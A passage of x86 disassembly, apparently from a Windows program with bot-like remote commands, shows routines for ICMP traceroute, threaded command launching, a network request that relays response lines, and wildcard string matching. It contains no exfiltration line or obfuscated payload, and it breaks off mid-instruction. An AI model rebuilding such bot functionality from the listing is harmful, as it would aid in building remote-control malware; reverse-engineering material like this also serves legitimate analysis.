; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE40, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE40 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2FC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E308 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E304 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, byte_41E310 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 ; LoadLibraryA mov dword_41E300, eax cmp dword_41E300, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E2FC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E308, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E300 call dword_417058 ; GetProcAddress mov dword_41E304, eax mov byte_41E310, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E2FC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E308, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E304, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C ; Sleep push offset dword_41E2D8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2D8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp 